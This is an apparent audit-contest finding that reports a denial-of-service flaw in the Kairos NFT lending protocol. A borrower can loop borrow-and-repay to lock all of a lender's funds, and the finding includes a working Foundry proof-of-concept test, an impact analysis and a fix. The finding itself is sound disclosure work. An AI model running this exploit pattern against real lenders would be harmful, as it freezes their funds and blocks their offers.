b4by_y0d4

high

# Attackers can cause DDOS beyond just spam and dust tokens, ie they can freeze all offers from a lender

## Summary
Malicious borrowers (attackers) can freeze the entirety of the lender's wallet so that no offchain signed offers from the lenders go through for any collection or any tokenid in kairos, as well as on other trading platforms (example OpenSea).

## Vulnerability Detail
In the borrowing (https://doc.kairos.loan/in-depth/borrowing.html) section, the book mentions:

> there is a ddos risk if a borrower spams the use of offers with small amounts (I.e this spam would let the lender with many dust positions to claim onchain, which may be not financially viable due to gas costs)

In the known issues section of the contest (https://app.sherlock.xyz/audits/contests/56), this is acknowledged again:

> Borrowers can effectively lock lenders funds by spaming the minting of supply positions on ERC20s where the governance has not set a minOfferCost or an offerBorrowAmountLowerBound at sufficient values

Both of these acknowledgement have the context of _spam_ tokens, i.e. _dust_ tokens that are a nuisance for the lender to have to recover.

However, a malicious borrower can be concerned with much more than causing nuisance. They can sacrifice minimum payments set by governance and lock in **ALL** the funds in the lenders wallet above and beyond the amount of the ltv amount in the offer. This can be done by borrowing up to the ltv, repaying immediately + minimum fine, until the lender's wallet has 0 money.

In the forge/foundry test below, we illustrate how a lender has 100 ETH in tier wallet and 2 offers for 10 ETH for 2 different NFTs. A malicious attacker (owner of 1 NFT) can drain all 100 ETH into position tokens by paying a fine of minimum_offer set by governance * 10. Once this is accomplished, none of the other offers issued by the lender will go through (unless the lender realizes the attack and withdraws money back from position tokens).

```solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import { IERC721 } from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IERC721Receiver } from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";

import "forge-std/Test.sol";

import { External } from "test/Commons/External.sol";
import "src/Signature.sol";
import "src/DataStructure/Objects.sol";

contract FreezeFunds is External, Signature, IERC721Receiver {
  uint256 pkey = 1; //private key to generate the lender signature

  //this test demonstrates that a malicious entity can freeze
  //money in a lenders' wallet to position tokens in amounts
  //that are not just dust tokens or spam
  //but bigger amounts that will exhaust all funds in the lender's
  //wallet

  function testFreezeLenderFunds() public {
    uint256 minimum_cost = 0.01 ether;
    vm.prank(OWNER);
    //add minimum cost for DDos protection
    kairos.setMinOfferCost(IERC20(address(money)), minimum_cost);

    vm.label(vm.addr(pkey), "LENDER");
    vm.label(address(kairos), "KAIROS");
    vm.label(address(this), "MALICIOUS_BORROWER");
    vm.label(vm.addr(pkey + 1), "BORROWER");

    uint256 nfttokenid1 = nft.mintOneTo(address(this));
    uint256 nft2tokenid1 = nft2.mintOneTo(vm.addr(pkey + 1));

    //put 100 ether in the lender's wallet
    getFlooz(vm.addr(pkey), money, 100 ether);

    //borrowargs for offer from LENDER for nfttokenid1
    BorrowArg[] memory nfttokenid1_args = generateBorrowargs(
      address(nft),
      nfttokenid1,
      10 ether
    );

    //borrowargs for offer from LENDER for nft2tokenid1
    BorrowArg[] memory nft2tokenid1_args = generateBorrowargs(
      address(nft2),
      nft2tokenid1,
      10 ether
    );

    //malicious user freezes/locks 100 ether of lenders money
    //to position tokens by borrowing 10 ether 10 times and
    //paying it back in the same transaction

    //attacker will need minimum_cost*10 worth of money
    getFlooz(address(this), money, minimum_cost * 10);

    uint256[] memory loanids = new uint256[](1);

    nft.setApprovalForAll(address(kairos), true);
    money.approve(address(kairos), 2 ** 256 - 1);

    //borrow and repay 10 times so that lender's funds are all
    //locked in position tokens
    //in this case attacker pay penalty of 0.01 * 10 = 0.1 eth/money
    for (uint256 i = 0; i < 10; i++) {
      kairos.borrow(nfttokenid1_args);
      loanids[0] = i + 1;

      kairos.repay(loanids);
    }

    console2.log("Lender's balance is now", money.balanceOf(vm.addr(pkey)));

    //now that lender's wallet has been exhausted, none of the
    //lenders' signed payloads will go through

    //whatsmore, the lenders' payloads on other platforms won't go through either
    //for example, if the lender an offchain offer for an NFT on the OpenSea platform
    //when the owner of that NFT accepts the lender's offer, seaport will revert
    //because the lender has no more money

    //pose as legitimate borrower, owner of nft2tokenid1
    vm.startPrank(vm.addr(pkey + 1));

    nft2.setApprovalForAll(address(kairos), true);

    //will revert because lender's funds are locked
    //in position tokens
    kairos.borrow(nft2tokenid1_args);

    //in other words, the attacker ie address(this) has made it so that
    //none of the lender's offers will go through on kairos
    //or any other platform until the lender unlocked their position tokens
    //back to money

    vm.stopPrank();
    return;
  }

  function generateBorrowargs(
    address nft_contract,
    uint256 tokenid,
    uint256 ltv
  ) internal returns (BorrowArg[] memory myargs) {
    myargs = new BorrowArg[](1);
    myargs[0].nft.implem = IERC721(nft_contract);
    myargs[0].nft.id = tokenid;

    myargs[0].args = new OfferArg[](1);
    myargs[0].args[0].amount = ltv;

    myargs[0].args[0].offer.assetToLend = money;
    myargs[0].args[0].offer.loanToValue = ltv;
    myargs[0].args[0].offer.duration = 2 weeks;
    myargs[0].args[0].offer.expirationDate = block.timestamp + 2 hours;
    myargs[0].args[0].offer.tranche = 0;

    myargs[0].args[0].offer.collateral.implem = IERC721(address(nft_contract));
    myargs[0].args[0].offer.collateral.id = tokenid;

    bytes32 mydigest = kairos.offerDigest(myargs[0].args[0].offer);

    (uint8 v, bytes32 r, bytes32 s) = vm.sign(pkey, mydigest);

    myargs[0].args[0].signature = bytes.concat(r, s, bytes1(v));
  }

  function onERC721Received(
    address,
    address,
    uint256,
    bytes memory
  ) public virtual override returns (bytes4) {
    return this.onERC721Received.selector;
  }

  receive() external payable {
    //console2.log("receive");
  }

  fallback() external payable {
    //console2.log("fallback from", msg.sender);
  }
}

```

## Impact
The impact of this is:

1. No offers from lender will go through on Kairos until the lender realizes the attack and converts their position tokens back to money. However if the signed offer is still valid, the attacker can freeze the money again so the lender will have to remove approval and/or move to a new wallet.
2. This will also have repercussions on other platforms. in our case, the lender had 2 offers for 10 ETH each. They also had 100 ETH in their wallet, all of which was frozen into position tokens. This means that if the lender had offers out for NFTs on platforms such as OpenSea, their offers in those external platforms will also fail (assuming same currency).

The business risk here is sustained freezing of offers made on kairos. The attacker will have to make the investment of obtaining at least 1 NFT that matches an offer made by the lender and/or paying the minimum offer _fine_, the extent of which will depend on the borrow repetitions needed. 

Other scenarios could be that the attacker notices that the legitimate borrower is about to get liquidated in another platform and needs funds, so they want to block the legitimate borrower from being able to borrow against their NFT by freezing the lender's money. Alternatively, the attacker may not want the lender to obtain an NFT on OpenSea for which they have placed a lucrative offer - and so the attacker is able to freeze the lenders' funds via kairos.

From the documentation, the context I get is the concern over spam and dust tokens. This issue highlights repercussions beyond that. If this is known by the project team, please disregard ofcourse. 

## Code Snippet
https://github.com/kairos-loan/kairos-contracts/blob/b2fd98d62cf0f25ee1db2bd551cd7b4606a5a988/src/RepayFacet.sol#L24

## Tool used
Forge/foundry.

Manual Review

## Recommendation
I would recommend that lenders are able to specify in their signed offer payloads if they want repayments locked in position tokens or not. If not, when a repayment or buy occurs, all the lenders funds in the position tokens associated with the loanid should be transferred to the lender in the repay or buy call. In this case, just like in the borrow call, the gas for the transfers will be paid by the borrower or the auction item buyer.
